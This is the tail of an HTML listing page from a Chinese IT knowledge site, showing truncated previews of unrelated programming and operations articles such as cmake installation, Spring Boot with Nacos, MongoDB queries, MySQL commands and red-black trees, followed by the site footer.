<div>个人开发机:申请完后进去:passwd设置密码#如果cmake低于3.15,gcc/g++低于7.0,请根据文档进行安装。查看版本的方式cmake-version#检查cmake版本gcc-v#检查gcc/g++版本g++-v1cmake安装与使用sudoapt-getautoremovecmakewgethttps://cmake.org/files/v3.23/cmake-3.23.0-lin</div> </li> <li><a href="/article/1880519760618254336.htm" title="c语言实验使用什么作用,c语言实验总结与反思" target="_blank">c语言实验使用什么作用,c语言实验总结与反思</a> <span class="text-muted">努力的大头兵</span> <a class="tag" taget="_blank" href="/search/c%E8%AF%AD%E8%A8%80%E5%AE%9E%E9%AA%8C%E4%BD%BF%E7%94%A8%E4%BB%80%E4%B9%88%E4%BD%9C%E7%94%A8/1.htm">c语言实验使用什么作用</a> <div>c语言实验总结与反思怎么写?以下是小编整理的相关范文,欢迎阅读。c语言实验总结与反思一这个星期,我们迎来了C语言实训——一次至为重要的实训。在这个星期里,同学们都很认真的做着那20多道实训题目,遇到不懂的互相请教,或请问老师。非常感谢老师对我们的帮助,这次实训使我受益匪浅,收获了很多。通过C语言实训,让我加深了对C语言的了解,而不只是单单的在课本中学到的那些理论,平时乏味的课程,通过自己动手亲自编</div> </li> <li><a href="/article/1880518249720901632.htm" title="springboot3.x集成nacos 并实现多环境配置" target="_blank">springboot3.x集成nacos 并实现多环境配置</a> <span class="text-muted">web13595609705</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/boot/1.htm">boot</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a> <div>一、springboot版本springboot3.0.x和springboot3.1.x可直接使用nacos-config-spring-boot-starter包。springboot>=3.2.x需要使用spring-cloud-starter-alibaba-nacos-config包,因为常规包在我发布该文时nacos官方还没更新,已更新的版本只支持到3.1.x,cloud的包2024年</div> </li> <li><a href="/article/1880518247896379392.htm" title="华为OD机试C卷-- 机器人走迷宫(Java & JS & Python)" target="_blank">华为OD机试C卷-- 机器人走迷宫(Java & JS & Python)</a> <span class="text-muted">飞码创造者</span> <a class="tag" taget="_blank" href="/search/%E5%8D%8E%E4%B8%BAOD%E6%9C%BA%E8%AF%95%E9%A2%98%E5%BA%93/1.htm">华为OD机试题库</a><a class="tag" taget="_blank" href="/search/%E5%8D%8E%E4%B8%BAod/1.htm">华为od</a><a class="tag" taget="_blank" href="/search/c%E8%AF%AD%E8%A8%80/1.htm">c语言</a><a class="tag" taget="_blank" href="/search/%E6%9C%BA%E5%99%A8%E4%BA%BA/1.htm">机器人</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>获取题库不需要订阅专栏,可直接私信我进入CSDN领军人物top1博主的华为OD交流圈观看完整题库、最新面试实况、考试报告等内容以及大佬一对一答疑。题目描述1.房间由XY的方格组成,例如下图为6*4的大小。每一个方格以坐标(x,y)描述。2.机器人固定从方格(0,0)出发,只能向东或者向北前进。出口固定为房间的最东北角,如下图的方格(5,3)。用例保证机器人可以从入口走到出口。3.房间有些方格是墙壁</div> </li> <li><a href="/article/1880517869716959232.htm" title="使用云服务器进行游戏开发的好处" target="_blank">使用云服务器进行游戏开发的好处</a> <span class="text-muted">wanhengidc</span> <a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a> <div>企业选择使用云服务器来进行游戏开发,能够提供很多传统服务器所不具备的优势,不仅可以改善玩家的游戏体验感,还可以帮助提升开发效率,下面小编就来介绍一下使用云服务器进行游戏开发的好处都有什么。云服务器可以根据游戏的实际负载动态调整资源配置,当游戏在用户高峰期的时候也可以迅速增加计算和网络资源,在低峰期时还能够减少网络资源,为企业自身节省了一定的成本,有着很强的弹性扩展能力。选择使用云服务器也不需要额外</div> </li> <li><a href="/article/1880517365809082368.htm" title="大神教你用Python实现Wake On Lan远程开机功能" target="_blank">大神教你用Python实现Wake On Lan远程开机功能</a> <span class="text-muted">云计算运维工程师</span> <a class="tag" taget="_blank" href="/search/%E6%8A%80%E6%9C%AF%E5%B9%B2%E6%B4%BB/1.htm">技术干活</a> <div>这篇文章主要介绍了使用Python实现WakeOnLan远程开机功能,文中给大家补充介绍了python通过wakeonlan唤醒内网电脑开机,非常不错,感兴趣的朋友跟随小编一起学习吧Wake-On-LAN简称WOL,是一种电源管理功能;如果存在网络活动,则允许设备将操作系统从待机或休眠模式中唤醒。许多主板厂商支持IBM提出的网络唤醒标准。该标准允许网络管理员远程打开PC机电源,以便进行文件升级、资</div> </li> <li><a href="/article/1880516609932587008.htm" title="如何快速在Windows 10 + Anaconda 3 中使用Mxnet及gluon" target="_blank">如何快速在Windows 10 + Anaconda 3 中使用Mxnet及gluon</a> <span class="text-muted">qianchess</span> <a class="tag" taget="_blank" href="/search/mxnet%E4%BD%BF%E7%94%A8/1.htm">mxnet使用</a><a class="tag" taget="_blank" href="/search/mxnet/1.htm">mxnet</a><a class="tag" taget="_blank" href="/search/win10/1.htm">win10</a><a class="tag" taget="_blank" href="/search/anaconda/1.htm">anaconda</a><a class="tag" taget="_blank" href="/search/gluon/1.htm">gluon</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a> <div>如何快速在Windows10+Anaconda3中使用Mxnet及gluon网络上Mxnet的安装以及使用方法很多,自从其作者之一李沐推出了基于Mxnet的深度学习课程之后,我也尝试着去使用了一下Mxnet。首先第一步就是在自己的系统中安装Mxnet及其相关组建。现在的Mxnet常常会跟其虚拟环境Gluon结合在一起,所以下文就一起阐述一下,顺便记录一下自己踩的坑。注意本文的大部分内容都可以在官网</div> </li> <li><a href="/article/1880516231853830144.htm" title="蓝易云 - Linux系统中常见的远程管理协议!" target="_blank">蓝易云 - Linux系统中常见的远程管理协议!</a> <span class="text-muted">蓝易云</span> <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/http/1.htm">http</a><a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/https/1.htm">https</a><a class="tag" taget="_blank" href="/search/flutter/1.htm">flutter</a> <div>Linux系统中常见的远程管理协议有以下几种:1.SSH(SecureShell):SSH是一种安全的远程登录协议,用于在网络上安全地远程登录到Linux服务器。它提供了加密的传输和身份验证机制,可以防止数据在传输过程中被拦截和篡改。SSH使用用户名和密码或公钥认证来验证用户身份,并允许用户在远程终端上执行命令。2.Telnet:Telnet是一种不安全的远程登录协议,用于在网络上远程登录到Lin</div> </li> <li><a href="/article/1880514091768934400.htm" title="JavaWeb 前端基础 html + CSS 快速入门 | 018" target="_blank">JavaWeb 前端基础 html + CSS 快速入门 | 018</a> <span class="text-muted">菜鸟阿康学习编程</span> <a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a> <div>今日推荐语指望别人的救赎,势必走向毁灭——波伏娃日期学习内容打卡编号2025年01月17日JavaWeb前端基础html+CSS018前言哈喽,我是菜鸟阿康。今天正式进入JavaWeb的学习,简单学习html+CSS这2各前端基础部分,以下是我的重点总结,希望对你有所帮助。(建议先看左侧目录,先了解文章结构)(请忽略错误的大纲编号,我直接从笔记中粘贴过来的,就没严格纠正了,重点在内容!)文末和主页</div> </li> <li><a href="/article/1880513838269394944.htm" title="【linux】看门狗&喂狗的简述" target="_blank">【linux】看门狗&喂狗的简述</a> <span class="text-muted">乔峰不是张无忌330</span> <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E6%B1%BD%E8%BD%A6%E7%94%B5%E5%AD%90/1.htm">汽车电子</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E6%B1%BD%E8%BD%A6/1.htm">汽车</a><a class="tag" taget="_blank" href="/search/%E8%BD%A6%E8%BD%BD%E7%B3%BB%E7%BB%9F/1.htm">车载系统</a> <div>看门狗的功能作用“看门狗定时器”,从功能上说它可以让微控制器在意外状况下(比如软件陷入死循环)重新回复到系统上电状态,以保证系统出问题的时候重启一次。“看门狗”就是一个计数器,由于位数有限计数器能够装的数值是有限的(比如8位的最多装256个数、16位的最多装65536个数),从开启“看门狗”那刻起,它就开始不停的数机器周期,数一个机器周期就计数器加1,加到计数器盛不下了(术语叫溢出)就就产生一个复</div> </li> <li><a href="/article/117.htm" title="Algorithm" target="_blank">Algorithm</a> <span class="text-muted">香水浓</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/Algorithm/1.htm">Algorithm</a> <div>冒泡排序 public static void sort(Integer[] param) { for (int i = param.length - 1; i &gt; 0; i--) { for (int j = 0; j &lt; i; j++) { int current = param[j]; int next = param[j + 1];</div> </li> <li><a href="/article/244.htm" title="mongoDB 复杂查询表达式" target="_blank">mongoDB 复杂查询表达式</a> <span class="text-muted">开窍的石头</span> <a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a> <div>1:count &nbsp;&nbsp; Pg: db.user.find().count(); &nbsp;&nbsp; 统计多少条数据 2:不等于$ne &nbsp;&nbsp; Pg: db.user.find({_id:{$ne:3}},{name:1,sex:1,_id:0}); &nbsp;&nbsp; 查询id不等于3的数据。 3:大于$gt $gte(大于等于) &n</div> </li> <li><a href="/article/371.htm" title="Jboss Java heap space异常解决方法, jboss OutOfMemoryError : PermGen space" target="_blank">Jboss Java heap space异常解决方法, jboss OutOfMemoryError : PermGen space</a> <span class="text-muted">0624chenhong</span> <a class="tag" taget="_blank" href="/search/jvm/1.htm">jvm</a><a class="tag" taget="_blank" href="/search/jboss/1.htm">jboss</a> <div>转自 http://blog.csdn.net/zou274/article/details/5552630 解决办法: window-&gt;preferences-&gt;java-&gt;installed jres-&gt;edit jre 把default vm arguments 的参数设为-Xms64m -Xmx512m ----------------</div> </li> <li><a href="/article/498.htm" title="文件上传 下载 解析 相对路径" target="_blank">文件上传 下载 解析 相对路径</a> <span class="text-muted">不懂事的小屁孩</span> <a class="tag" taget="_blank" href="/search/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/1.htm">文件上传</a> <div>有点坑吧,弄这么一个简单的东西弄了一天多,身边还有大神指导着,网上各种百度着。 下面总结一下遇到的问题: 文件上传,在页面上传的时候,不要想着去操作绝对路径,浏览器会对客户端的信息进行保护,避免用户信息收到攻击。 在上传图片,或者文件时,使用form表单来操作。 前台通过form表单传输一个流到后台,而不是ajax传递参数到后台,代码如下: &lt;form action=&</div> </li> <li><a href="/article/625.htm" title="怎么实现qq空间批量点赞" target="_blank">怎么实现qq空间批量点赞</a> <span class="text-muted">换个号韩国红果果</span> <a class="tag" taget="_blank" href="/search/qq/1.htm">qq</a> <div>纯粹为了好玩!! 逻辑很简单 1 打开浏览器console;输入以下代码。 先上添加赞的代码 var tools={}; //添加所有赞 function init(){ document.body.scrollTop=10000; setTimeout(function(){document.body.scrollTop=0;},2000);//加</div> </li> <li><a href="/article/752.htm" title="判断是否为中文" target="_blank">判断是否为中文</a> <span class="text-muted">灵静志远</span> <a class="tag" taget="_blank" href="/search/%E4%B8%AD%E6%96%87/1.htm">中文</a> <div>方法一: public class Zhidao { public static void main(String args[]) { String s = &quot;sdf灭礌 kjl d{';\fdsjlk是&quot;; int n=0; for(int i=0; i&lt;s.length(); i++) { n = (int)s.charAt(i); if((</div> </li> <li><a href="/article/879.htm" title="一个电话面试后总结" target="_blank">一个电话面试后总结</a> <span class="text-muted">a-john</span> <a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a> <div>今天,接了一个电话面试,对于还是初学者的我来说,紧张了半天。 面试的问题分了层次,对于一类问题,由简到难。自己觉得回答不好的地方作了一下总结: &nbsp; 在谈到集合类的时候,举几个常用的集合类,想都没想,直接说了list,map。 &nbsp; 然后对list和map分别举几个类型: &nbsp; list方面:ArrayList,LinkedList。在谈到他们的区别时,愣住了</div> </li> <li><a href="/article/1006.htm" title="MSSQL中Escape转义的使用" target="_blank">MSSQL中Escape转义的使用</a> <span class="text-muted">aijuans</span> <a class="tag" taget="_blank" href="/search/MSSQL/1.htm">MSSQL</a> <div>IF OBJECT_ID('tempdb..#ABC') is not null drop table tempdb..#ABC create table #ABC ( PATHNAME NVARCHAR(50) ) insert into #ABC SELECT N'/ABCDEFGHI' UNION ALL SELECT N'/ABCDGAFGASASSDFA' UNION ALL</div> </li> <li><a href="/article/1133.htm" title="一个简单的存储过程" target="_blank">一个简单的存储过程</a> <span class="text-muted">asialee</span> <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E5%AD%98%E5%82%A8%E8%BF%87%E7%A8%8B/1.htm">存储过程</a><a class="tag" taget="_blank" href="/search/%E6%9E%84%E9%80%A0%E6%95%B0%E6%8D%AE/1.htm">构造数据</a><a class="tag" taget="_blank" href="/search/%E6%89%B9%E9%87%8F%E6%8F%92%E5%85%A5/1.htm">批量插入</a> <div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;今天要批量的生成一批测试数据,其中中间有部分数据是变化的,本来想写个程序来生成的,后来想到存储过程就可以搞定,所以随手写了一个,记录在此: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; DELIMITER $$ DROP PROCEDURE IF EXISTS inse</div> </li> <li><a href="/article/1260.htm" title="annot convert from HomeFragment_1 to Fragment" target="_blank">annot convert from HomeFragment_1 to Fragment</a> <span class="text-muted">百合不是茶</span> <a class="tag" taget="_blank" href="/search/android/1.htm">android</a><a class="tag" taget="_blank" href="/search/%E5%AF%BC%E5%8C%85%E9%94%99%E8%AF%AF/1.htm">导包错误</a> <div>创建了几个类继承Fragment, 需要将创建的类存储在ArrayList&lt;Fragment&gt;中; 出现不能将new 出来的对象放到队列中,原因很简单; &nbsp; &nbsp; 创建类时引入包是:import android.app.Fragment; &nbsp; &nbsp; &nbsp;创建队列和对象时使用的包是:import android.support.v4.ap</div> </li> <li><a href="/article/1387.htm" title="Weblogic10两种修改端口的方法" target="_blank">Weblogic10两种修改端口的方法</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/weblogic/1.htm">weblogic</a><a class="tag" taget="_blank" href="/search/%E7%AB%AF%E5%8F%A3%E5%8F%B7/1.htm">端口号</a><a class="tag" taget="_blank" href="/search/%E9%85%8D%E7%BD%AE%E7%AE%A1%E7%90%86/1.htm">配置管理</a><a class="tag" taget="_blank" href="/search/config.xml/1.htm">config.xml</a> <div>一.进入控制台进行修改&nbsp;&nbsp;&nbsp; 1.进入控制台:&nbsp; http://127.0.0.1:7001/console &nbsp;&nbsp;&nbsp; 2.展开左边树菜单&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 域结构-&gt;环境-&gt;服务器--&gt;点击AdminServer(管理)&nbsp;&</div> </li> <li><a href="/article/1514.htm" title="mysql 操作指令" target="_blank">mysql 操作指令</a> <span class="text-muted">征客丶</span> <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a> <div>一、连接mysql 进入 mysql 的安装目录; $ bin/mysql -p [host IP 如果是登录本地的mysql 可以不写 -p 直接 -u] -u [userName] -p 输入密码,回车,接连; 二、权限操作[如果你很了解mysql数据库后,你可以直接去修改系统表,然后用 mysql&gt; flush privileges; 指令让权限生效] 1、赋权 mys</div> </li> <li><a href="/article/1641.htm" title="【Hive一】Hive入门" target="_blank">【Hive一】Hive入门</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/hive/1.htm">hive</a> <div>Hive安装与配置 Hive的运行需要依赖于Hadoop,因此需要首先安装Hadoop2.5.2,并且Hive的启动前需要首先启动Hadoop。 &nbsp; Hive安装和配置的步骤 &nbsp; 1. 从如下地址下载Hive0.14.0 &nbsp; http://mirror.bit.edu.cn/apache/hive/ &nbsp; &nbsp;2.解压hive,在系统变</div> </li> <li><a href="/article/1768.htm" title="ajax 三种提交请求的方法" target="_blank">ajax 三种提交请求的方法</a> <span class="text-muted">BlueSkator</span> <a class="tag" taget="_blank" href="/search/Ajax/1.htm">Ajax</a><a class="tag" taget="_blank" href="/search/jqery/1.htm">jqery</a> <div>1、ajax 提交请求 $.ajax({ type:&quot;post&quot;, url : &quot;${ctx}/front/Hotel/getAllHotelByAjax.do&quot;, dataType : &quot;json&quot;, success : function(result) { try { for(v</div> </li> <li><a href="/article/1895.htm" title="mongodb开发环境下的搭建入门" target="_blank">mongodb开发环境下的搭建入门</a> <span class="text-muted">braveCS</span> <a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a> <div>&nbsp; linux下安装mongodb 1)官网下载mongodb-linux-x86_64-rhel62-3.0.4.gz 2)linux 解压&nbsp; gzip -d mongodb-linux-x86_64-rhel62-3.0.4.gz; mv mongodb-linux-x86_64-rhel62-3.0.4 mongodb-linux-x86_64-rhel62-</div> </li> <li><a href="/article/2022.htm" title="编程之美-最短摘要的生成" target="_blank">编程之美-最短摘要的生成</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/1.htm">数据结构</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B%E4%B9%8B%E7%BE%8E/1.htm">编程之美</a> <div> import java.util.HashMap; import java.util.Map; import java.util.Map.Entry; public class ShortestAbstract { /** * 编程之美 最短摘要的生成 * 扫描过程始终保持一个[pBegin,pEnd]的range,初始化确保[pBegin,pEnd]的ran</div> </li> <li><a href="/article/2149.htm" title="json数据解析及typeof" target="_blank">json数据解析及typeof</a> <span class="text-muted">chengxuyuancsdn</span> <a class="tag" taget="_blank" href="/search/js/1.htm">js</a><a class="tag" taget="_blank" href="/search/typeof/1.htm">typeof</a><a class="tag" taget="_blank" href="/search/json%E8%A7%A3%E6%9E%90/1.htm">json解析</a> <div> // json格式 var people='{&quot;authors&quot;: [{&quot;firstName&quot;: &quot;AAA&quot;,&quot;lastName&quot;: &quot;BBB&quot;},' +' {&quot;firstName&quot;: &quot;CCC&</div> </li> <li><a href="/article/2276.htm" title="流程系统设计的层次和目标" target="_blank">流程系统设计的层次和目标</a> <span class="text-muted">comsci</span> <a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/1.htm">数据结构</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/%E6%A1%86%E6%9E%B6/1.htm">框架</a><a class="tag" taget="_blank" href="/search/%E8%84%9A%E6%9C%AC/1.htm">脚本</a> <div> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 流程系统设计的层次和目标 &nbsp</div> </li> <li><a href="/article/2403.htm" title="RMAN List和report 命令" target="_blank">RMAN List和report 命令</a> <span class="text-muted">daizj</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/list/1.htm">list</a><a class="tag" taget="_blank" href="/search/report/1.htm">report</a><a class="tag" taget="_blank" href="/search/rman/1.htm">rman</a> <div>LIST 命令 使用RMAN LIST 命令显示有关资料档案库中记录的备份集、代理副本和映像副本的 信息。使用此命令可列出: • RMAN 资料档案库中状态不是AVAILABLE 的备份和副本 • 可用的且可以用于还原操作的数据文件备份和副本 • 备份集和副本,其中包含指定数据文件列表或指定表空间的备份 • 包含指定名称或范围的所有归档日志备份的备份集和副本 • 由标记、完成时间、可</div> </li> <li><a href="/article/2530.htm" title="二叉树:红黑树" target="_blank">二叉树:红黑树</a> <span class="text-muted">dieslrae</span> <a class="tag" taget="_blank" href="/search/%E4%BA%8C%E5%8F%89%E6%A0%91/1.htm">二叉树</a> <div>&nbsp;&nbsp;&nbsp; 红黑树是一种自平衡的二叉树,它的查找,插入,删除操作时间复杂度皆为O(logN),不会出现普通二叉搜索树在最差情况时时间复杂度会变为O(N)的问题. &nbsp;&nbsp;&nbsp; 红黑树必须遵循红黑规则,规则如下 &nbsp;&nbsp;&nbsp; 1、每个节点不是红就是黑。 &nbsp;&nbsp;&nbsp; 2、根总是黑的 &nbsp;&</div> </li> <li><a href="/article/2657.htm" title="C语言homework3,7个小题目的代码" target="_blank">C语言homework3,7个小题目的代码</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/c/1.htm">c</a> <div>1、打印100以内的所有奇数。 # include &lt;stdio.h&gt; int main(void) { int i; for (i=1; i&lt;=100; i++) { if (i%2 != 0) printf(&quot;%d &quot;, i); } return 0; } &nbsp;2、从键盘上输入10个整数,</div> </li> <li><a href="/article/2784.htm" title="自定义按钮, 图片在上, 文字在下, 居中显示" target="_blank">自定义按钮, 图片在上, 文字在下, 居中显示</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/%E8%87%AA%E5%AE%9A%E4%B9%89/1.htm">自定义</a> <div>#import &lt;UIKit/UIKit.h&gt; @interface MyButton : UIButton -(void)setFrame:(CGRect)frame ImageName:(NSString*)imageName Target:(id)target Action:(SEL)action Title:(NSString*)title Font:(CGFloa</div> </li> <li><a href="/article/2911.htm" title="MySQL查询语句练习题,测试足够用了" target="_blank">MySQL查询语句练习题,测试足够用了</a> <span class="text-muted">flyvszhb</span> <a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a> <div>http://blog.sina.com.cn/s/blog_767d65530101861c.html 1.创建student和score表 CREATE&nbsp; TABLE&nbsp; student ( id&nbsp; INT(10)&nbsp; NOT NULL&nbsp; UNIQUE&nbsp; PRIMARY KEY&nbsp; , name&nbsp; VARCHAR</div> </li> <li><a href="/article/3038.htm" title="转:MyBatis Generator 详解" target="_blank">转:MyBatis Generator 详解</a> <span class="text-muted">happyqing</span> <a class="tag" taget="_blank" href="/search/mybatis/1.htm">mybatis</a> <div>&nbsp; MyBatis Generator 详解 http://blog.csdn.net/isea533/article/details/42102297 &nbsp; MyBatis Generator详解 http://git.oschina.net/free/Mybatis_Utils/blob/master/MybatisGeneator/MybatisGeneator.</div> </li> <li><a href="/article/3165.htm" title="让程序员少走弯路的14个忠告" target="_blank">让程序员少走弯路的14个忠告</a> <span class="text-muted">jingjing0907</span> <a class="tag" taget="_blank" href="/search/%E5%B7%A5%E4%BD%9C/1.htm">工作</a><a class="tag" taget="_blank" href="/search/%E8%AE%A1%E5%88%92/1.htm">计划</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a> <div>&nbsp; 无论是谁,在刚进入某个领域之时,有再大的雄心壮志也敌不过眼前的迷茫:不知道应该怎么做,不知道应该做什么。下面是一名软件开发人员所学到的经验,希望能对大家有所帮助 &nbsp; 1.不要害怕在工作中学习。 只要有电脑,就可以通过电子阅读器阅读报纸和大多数书籍。如果你只是做好自己的本职工作以及分配的任务,那是学不到很多东西的。如果你盲目地要求更多的工作,也是不可能提升自己的。放</div> </li> <li><a href="/article/3292.htm" title="nginx和NetScaler区别" target="_blank">nginx和NetScaler区别</a> <span class="text-muted">流浪鱼</span> <a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a> <div>NetScaler是一个完整的包含操作系统和应用交付功能的产品,Nginx并不包含操作系统,在处理连接方面,需要依赖于操作系统,所以在并发连接数方面和防DoS攻击方面,Nginx不具备优势。 2.易用性方面差别也比较大。Nginx对管理员的水平要求比较高,参数比较多,不确定性给运营带来隐患。在NetScaler常见的配置如健康检查,HA等,在Nginx上的配置的实现相对复杂。 3.策略灵活度方</div> </li> <li><a href="/article/3419.htm" title="第11章 动画效果(下)" target="_blank">第11章 动画效果(下)</a> <span class="text-muted">onestopweb</span> <a class="tag" taget="_blank" href="/search/%E5%8A%A8%E7%94%BB/1.htm">动画</a> <div>index.html &lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt; &lt;html xmlns=&quot;http://www.w3.org/</div> </li> <li><a href="/article/3546.htm" title="FAQ - SAP BW BO roadmap" target="_blank">FAQ - SAP BW BO roadmap</a> <span class="text-muted">blueoxygen</span> <a class="tag" taget="_blank" href="/search/BO/1.htm">BO</a><a class="tag" taget="_blank" href="/search/BW/1.htm">BW</a> <div>http://www.sdn.sap.com/irj/boc/business-objects-for-sap-faq &nbsp; Besides, I care that how to integrate tightly. &nbsp; By the way, for BW consultants, please just focus on Query Designer which i</div> </li> <li><a href="/article/3673.htm" title="关于java堆内存溢出的几种情况" target="_blank">关于java堆内存溢出的几种情况</a> <span class="text-muted">tomcat_oracle</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/jvm/1.htm">jvm</a><a class="tag" taget="_blank" href="/search/jdk/1.htm">jdk</a><a class="tag" taget="_blank" href="/search/thread/1.htm">thread</a> <div>【情况一】:    java.lang.OutOfMemoryError: Java heap space:这种是java堆内存不够,一个原因是真不够,另一个原因是程序中有死循环;   如果是java堆内存不够的话,可以通过调整JVM下面的配置来解决:   &lt;jvm-arg&gt;-Xms3062m&lt;/jvm-arg&gt;   &lt;jvm-arg&gt;-Xmx</div> </li> <li><a href="/article/3800.htm" title="Manifest.permission_group权限组" target="_blank">Manifest.permission_group权限组</a> <span class="text-muted">阿尔萨斯</span> <a class="tag" taget="_blank" href="/search/Permission/1.htm">Permission</a> <div>结构 继承关系 public static final class Manifest.permission_group extends Object java.lang.Object android. Manifest.permission_group 常量 ACCOUNTS 直接通过统计管理器访问管理的统计 COST_MONEY可以用来让用户花钱但不需要通过与他们直接牵涉的权限 D</div> </li> </ul> </div> </div> </div> <div> <div class="container"> <div class="indexes"> <strong>按字母分类:</strong> <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a> </div> </div> </div> <footer id="footer" class="mb30 mt30"> <div class="container"> <div class="footBglm"> <a target="_blank" href="/">首页</a> - <a target="_blank" href="/custom/about.htm">关于我们</a> - <a target="_blank" href="/search/Java/1.htm">站内搜索</a> - <a target="_blank" href="/sitemap.txt">Sitemap</a> - <a target="_blank" href="/custom/delete.htm">侵权投诉</a> </div> <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved. <!-- <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>--> </div> </div> </footer> <!-- 代码高亮 --> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script> <link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/> <script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script> </body> </html>